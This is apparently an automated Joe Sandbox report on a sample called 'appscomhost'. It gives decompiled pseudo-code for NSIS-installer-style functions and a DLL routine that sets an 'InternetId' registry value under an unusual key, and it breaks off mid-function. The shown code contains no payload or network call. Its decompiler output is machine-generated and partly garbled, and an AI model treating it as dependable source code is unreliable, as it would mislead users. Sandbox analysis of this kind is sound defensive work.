Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 2a6702a12d34049f0ed6173726a665453ef4396ebd7eb618d4b77e108423b323
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 720108B1C10219EADF019BA4D948BEFBFB8EF04314F00803AD544B6180D77896488BA9

Uniqueness

Uniqueness Score: -1.00%

Function 10004945, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E10004945(void* __ebx, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				void* __ecx;
				void* _t20;
				char* _t21;
				void* _t23;
				void* _t26;
				void* _t40;

				_t40 = __eflags;
				_push(_t26);
				_push(_t26);
				E10002CF0(_t26, _a8, _a12, _a16, _a20);
				_v12 = _v12 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				E10002B98(0x10007500, 0x400);
				_t32 = L"InternetId";
				E10002B98(L"InternetId", 0x400);
				E100023B4(__ebx, _t40, 0x10007500,  &_v12, 0, 0x10007500);
				_t20 = E100038AD(_v12, 0x10007500, 0, 2,  &_v8); // executed
				if(_t20 != 0) {
					L2:
					_t21 = L"-1";
				} else {
					_t23 = E10003656(_v8, _t32);
					RegCloseKey(_v8); // executed
					_t21 = "0";
					if(_t23 != 0) {
						goto L2;
					}
				}
				return E10002C7B(_t21);
			}

0x10004945
0x10004948
0x10004949
0x10004958
0x1000495d
0x10004961
0x10004971
0x10004977
0x1000497d
0x1000498a
0x1000499b
0x100049a5
0x100049c6
0x100049c6
0x100049a7
0x100049ab
0x100049b7
0x100049bf
0x100049c4
0x00000000
0x00000000
0x100049c4
0x100049d5

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

Part of subcall function 10003656: RegDeleteValueA.ADVAPI32(?,00000000,InternetId,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,100049B0,00000000,InternetId), ref: 10003673

RegCloseKey.KERNELBASE(00000000), ref: 100049B7

Strings

InternetId, xrefs: 10004977, 1000497C, 100049A7
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 1000496B, 10004970, 10004982, 10004989, 10004997

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: ByteCharCloseDeleteFreeGlobalMultiValueWide
String ID: InternetId$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 2348214401-335418722
Opcode ID: e0b6e65ea0643ae86a8687e99c2203970894fe637e619cb788ac992ad75dd021
Instruction ID: 5fe10952a492746ac63a388213dd0f829e5abeace9a43b19803b691c94aaf9e3
Opcode Fuzzy Hash: e0b6e65ea0643ae86a8687e99c2203970894fe637e619cb788ac992ad75dd021
Instruction Fuzzy Hash: 6F01D276800204BBFB11CB51CC0AF9F7BADDF417E0F200065FA04A215ADB75AE0196A4

Uniqueness

Uniqueness Score: -1.00%

Function 00405DEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405DEE(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E00406411(0x464270, _a4);
				_t21 = E00405D91(0x464270);
				if(_t21 != 0) {
					E004066C0(_t21);
					if(( *0x47af1c & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x464270 >> 1;
						while(1) {
							_t11 = lstrlenW(0x464270);
							_push(0x464270);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040676F();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405D32(0x464270);
								continue;
							} else {
								goto L1;
							}
						}
						E00405CE6();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405dfa
0x00405e05
0x00405e09
0x00405e10
0x00405e1c
0x00405e2c
0x00405e2e
0x00405e46
0x00405e47
0x00405e4e
0x00405e4f
0x00000000
0x00000000
0x00405e32
0x00405e39
0x00405e41
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e39
0x00405e51
0x00405e57
0x00000000
0x00405e65
0x00405e1e
0x00405e24
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e24
0x00405e0b
0x00000000

APIs

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00002000,00403596,00472F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405D91: CharNextW.USER32(?,?,00464270,?,00405E05,00464270,00464270,74B5FAA0,?,004E0000,00405B43,?,74B5FAA0,004E0000,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

lstrlenW.KERNEL32(00464270,00000000,00464270,00464270,74B5FAA0,?,004E0000,00405B43,?,74B5FAA0,004E0000,00000000), ref: 00405E47
GetFileAttributesW.KERNELBASE(00464270,00464270,00464270,00464270,00464270,00464270,00000000,00464270,00464270,74B5FAA0,?,004E0000,00405B43,?,74B5FAA0,004E0000), ref: 00405E57

Strings

pBF, xrefs: 00405DF4

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: pBF
API String ID: 3248276644-4131420256
Opcode ID: 0813988d79dcd7ec2b6b59ee02eb47ee81f400e07bc854c72faa122c67306288
Instruction ID: 3c901897b6bbf32d8138fd7edd4f2c87471c984a77286af52b07961cd2124257
Opcode Fuzzy Hash: 0813988d79dcd7ec2b6b59ee02eb47ee81f400e07bc854c72faa122c67306288
Instruction Fuzzy Hash: 31F0F435004D2216C63233369D09AAF1548CE82364719453BF8D1B22D1DB3C8B938CEE

Uniqueness

Uniqueness Score: -1.00%

Function 004062DF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004062DF(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x4000;
				_t21 = E0040627E(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x3ffe] = _t30[0x3ffe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x004062ed
0x004062ef
0x00406307
0x0040630c
0x00406311
0x0040634f
0x0040634f
0x00406313
0x00406325
0x00406330
0x00406336
0x00406341
0x00000000
0x00000000
0x00406341
0x00406355

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00004000,00000002,00448248,00000000,?,?,5000,?,?,0040656E,80000002), ref: 00406325
RegCloseKey.ADVAPI32(?,?,0040656E,80000002,Software\Microsoft\Windows\CurrentVersion,5000,5000,5000,00000000,00448248), ref: 00406330

Strings

5000, xrefs: 004062E6

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CloseQueryValue
String ID: 5000
API String ID: 3356406503-994391104
Opcode ID: 550d5fe316565dec20d5196d1d20fe7c807bd52d6266540c79109f3c5ea7b4a7
Instruction ID: 358abce4bfc184f0a4e68421be13c8b3451aa829f81775e68208b49264d1b158
Opcode Fuzzy Hash: 550d5fe316565dec20d5196d1d20fe7c807bd52d6266540c79109f3c5ea7b4a7
Instruction Fuzzy Hash: AE017172500209EBDF218F55CD05EDB3BB9EF54394F05803AFD55A2150E734D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F36, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F36(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a57c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00405f3c
0x00405f42
0x00405f43
0x00405f43
0x00405f48
0x00405f49
0x00405f4c
0x00405f51
0x00405f54
0x00405f5e
0x00405f6b
0x00405f6f
0x00405f77
0x00000000
0x00000000
0x00405f7b
0x00000000
0x00405f7d
0x00405f7d
0x00405f7d
0x00405f80
0x00405f83
0x00405f83
0x00405f86
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405F54
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,004CC000,004034C3,004DC000,004E0000,004E0000,004E0000,004E0000,004E0000,004E0000,0040370F), ref: 00405F6F

Strings

nsa, xrefs: 00405F43

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction ID: 6280ba3094977af7574bcd42248b285f756f81412eced5037130b5adcb3d4edb
Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
Instruction Fuzzy Hash: 55F03676B00204BFDB10CF55DD05E9FB7ADEB95750F10803AEE44F7150E6B499548B58

Uniqueness

Uniqueness Score: -1.00%

Function 004020D0, Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E004020D0(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				WCHAR* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x47afd8");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x47afa8 =  *0x47afa8 +  *(_t39 - 4);
					return 0;
				}
				_t35 = E00402D3E(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x44)) = E00402D3E(1);
				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
					_t47 = _t23 - _t32;
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t36 = E00406875(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
					if(_t36 == _t32) {
						E00405479(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x2000, _t37, 0x41e650, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x28)));
							if( *_t36() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403A80( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8)); // executed
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t35); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x004020d0
0x004020d0
0x004020d5
0x004020dc
0x0040219b
0x004022e9
0x004022e9
0x00402bc2
0x00402bc5
0x00402bd1
0x00402bd1
0x004020eb
0x004020f5
0x004020f8
0x00402108
0x0040210c
0x00402112
0x00402114
0x00402117
0x00402194
0x00000000
0x00402194
0x00402119
0x00402124
0x00402128
0x00402168
0x0040212a
0x0040212d
0x00402130
0x0040215c
0x00402132
0x00402135
0x0040213e
0x00402140
0x00402140
0x0040213e
0x00402130
0x00402170
0x00402189
0x00402189
0x00000000
0x00402170
0x004020fb
0x00402103
0x00402106
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 004020FB

Part of subcall function 00405479: lstrlenW.KERNEL32(00448248,00000000,004130AD,74B5EA30,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,00448248,00000000,004130AD,74B5EA30,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(00448248,004033B0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(00448248,00448248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040210C
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 00402189

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 37ceada538d7dfdb55a9062aecfcf1f7b05f03377905310f173eb635025d2a24
Instruction ID: c493cbc101804b356a2978f3666c7f03e8a456f98eb6a6283290c97786b44008
Opcode Fuzzy Hash: 37ceada538d7dfdb55a9062aecfcf1f7b05f03377905310f173eb635025d2a24
Instruction Fuzzy Hash: C4219671600204EBCF10AFA5CE49A9E7A71AF54354F70453BF515B91E0CBBD8E829A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401B9B, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B9B(void* __ebx) {
				intOrPtr _t8;
				void* _t9;
				void _t12;
				void* _t14;
				void* _t22;
				void* _t25;
				void* _t30;
				char* _t32;
				void* _t33;
				void* _t34;
				void* _t37;

				_t28 = __ebx;
				_t8 =  *((intOrPtr*)(_t37 - 0x28));
				_t33 =  *0x41e650; // 0x4e10108
				if(_t8 == __ebx) {
					if( *((intOrPtr*)(_t37 - 0x2c)) == __ebx) {
						_t9 = GlobalAlloc(0x40, 0x4004); // executed
						_t34 = _t9;
						_t5 = _t34 + 4; // 0x4
						E0040644E(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x30)));
						_t12 =  *0x41e650; // 0x4e10108
						 *_t34 = _t12;
						 *0x41e650 = _t34;
					} else {
						if(_t33 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t3 = _t33 + 4; // 0x4e1010c
							E00406411(_t30, _t3);
							_push(_t33);
							 *0x41e650 =  *_t33; // executed
							GlobalFree(); // executed
						}
					}
					goto L15;
				} else {
					while(1) {
						_t8 = _t8 - 1;
						if(_t33 == _t28) {
							break;
						}
						_t33 =  *_t33;
						if(_t8 != _t28) {
							continue;
						} else {
							if(_t33 == _t28) {
								break;
							} else {
								_t36 = _t33 + 4;
								_t32 = L"open";
								E00406411(_t32, _t33 + 4);
								_t22 =  *0x41e650; // 0x4e10108
								E00406411(_t36, _t22 + 4);
								_t25 =  *0x41e650; // 0x4e10108
								_push(_t32);
								_push(_t25 + 4);
								E00406411();
								L15:
								 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t37 - 4));
								_t14 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E0040644E(_t28, _t30, _t33, _t28, 0xffffffe8));
					E00405A77();
					_t14 = 0x7fffffff;
				}
				L17:
				return _t14;
			}

0x00401b9b
0x00401b9b
0x00401b9e
0x00401ba6
0x00401bef
0x00401c1d
0x00401c26
0x00401c28
0x00401c2c
0x00401c31
0x00401c36
0x00401c38
0x00401bf1
0x00401bf3
0x00402925
0x00401bf9
0x00401bf9
0x00401bfe
0x00401c05
0x00401c06
0x00401c0b
0x00401c0b
0x00401bf3
0x00000000
0x00401ba8
0x00401ba8
0x00401ba8
0x00401bab
0x00000000
0x00000000
0x00401bb1
0x00401bb5
0x00000000
0x00401bb7
0x00401bb9
0x00000000
0x00401bbf
0x00401bbf
0x00401bc2
0x00401bc9
0x00401bce
0x00401bd8
0x00401bdd
0x00401be2
0x00401be6
0x00402a7b
0x00402bc2
0x00402bc5
0x00402bcb
0x00402bcb
0x00401bb9
0x00000000
0x00401bb5
0x00402382
0x0040238f
0x00402390
0x00402395
0x00402395
0x00402bcd
0x00402bd1

APIs

GlobalFree.KERNELBASE ref: 00401C0B
GlobalAlloc.KERNELBASE(00000040,00004004), ref: 00401C1D

Strings

open, xrefs: 00401BC2, 00401BC8, 00401BE2

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Global$AllocFree
String ID: open
API String ID: 3394109436-2758837156
Opcode ID: 2ce82f9315b8ca780a1cf1dd2982c6708432b8e17259908f73b64ae5fc0e2f27
Instruction ID: 94c7a4500686a5d6de1ff766393bf2215519bc1bad9b8ab57fe258360d4dc432
Opcode Fuzzy Hash: 2ce82f9315b8ca780a1cf1dd2982c6708432b8e17259908f73b64ae5fc0e2f27
Instruction Fuzzy Hash: 1421D8726001109BC720AF958D85D9A73B4AF24318751493BFE52F72D0D77CEC508B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402482, Relevance: 4.6, APIs: 3, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00402482(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
				void* _t20;
				void* _t21;
				int _t24;
				long _t25;
				int _t30;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t42 = __eflags;
				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x20));
				_t34 = __eax;
				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
				 *(_t39 - 0x44) = E00402D3E(2);
				_t20 = E00402D3E(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402DCE(_t42, _t34, _t20, 2); // executed
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402D3E(0x23);
						_t24 = lstrlenW(0x4125f0) + _t29 + 2;
					}
					if(_t37 == 4) {
						 *0x4125f0 = E00402D1C(3);
						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E0040324C( *((intOrPtr*)(_t39 - 0x24)), _t30, 0x4125f0, 0xc000); // executed
					}
					_t25 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x4125f0, _t24); // executed
					if(_t25 == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey(); // executed
				}
				 *0x47afa8 =  *0x47afa8 +  *(_t39 - 4);
				return 0;
			}

0x00402482
0x00402482
0x00402482
0x00402482
0x00402485
0x0040248c
0x00402496
0x00402499
0x004024a2
0x004024a9
0x004024b0
0x004024b3
0x004024b9
0x004024c3
0x004024c7
0x004024d2
0x004024d2
0x004024d9
0x004024e3
0x004024e9
0x004024ec
0x004024ec
0x004024f0
0x004024fc
0x004024fc
0x0040250d
0x00402515
0x00402517
0x00402517
0x0040251a
0x004025f5
0x004025f5
0x00402bc5
0x00402bd1

APIs

lstrlenW.KERNEL32(004125F0,00000023,?,00000000,00000002,00000011,00000002), ref: 004024CD
RegSetValueExW.KERNELBASE(?,?,?,?,004125F0,00000000,?,00000000,00000002,00000011,00000002), ref: 0040250D
RegCloseKey.KERNELBASE(?,?,?,004125F0,00000000,?,00000000,00000002,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: CloseValuelstrlen
String ID:
API String ID: 2655323295-0
Opcode ID: d99b8322b806b18c2a2af32e8fcd62bd4083e431b8a5a26b5fa22bcfc6108467
Instruction ID: 16b9c4194a3952c9acbeb6d9b1e9a3d56dd7fedcaf0640f8b3bdca637e9eb4f3
Opcode Fuzzy Hash: d99b8322b806b18c2a2af32e8fcd62bd4083e431b8a5a26b5fa22bcfc6108467
Instruction Fuzzy Hash: 6E11AF71E00108BEEB10AFA5CE49AAE7BB9BF40314F20443AF504F71D1D6B88D409628

Uniqueness

Uniqueness Score: -1.00%

Function 00402596, Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402596(int* __ebx, intOrPtr __edx, short* __edi) {
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				short* _t22;
				void* _t24;
				void* _t26;
				void* _t29;

				_t22 = __edi;
				_t21 = __edx;
				_t16 = __ebx;
				_t24 = E00402D7E(_t29, 0x20019);
				_t10 = E00402D1C(3);
				 *((intOrPtr*)(_t26 - 0x10)) = _t21;
				 *__edi = __ebx;
				if(_t24 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x1fff;
					if( *((intOrPtr*)(_t26 - 0x20)) == __ebx) {
						_t13 = RegEnumValueW(_t24, _t10, __edi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyW(_t24, _t10, __edi, 0x1fff);
					}
					_t22[0x1fff] = _t16;
					_push(_t24); // executed
					RegCloseKey(); // executed
				}
				 *0x47afa8 =  *0x47afa8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x00402596
0x00402596
0x00402596
0x004025a2
0x004025a4
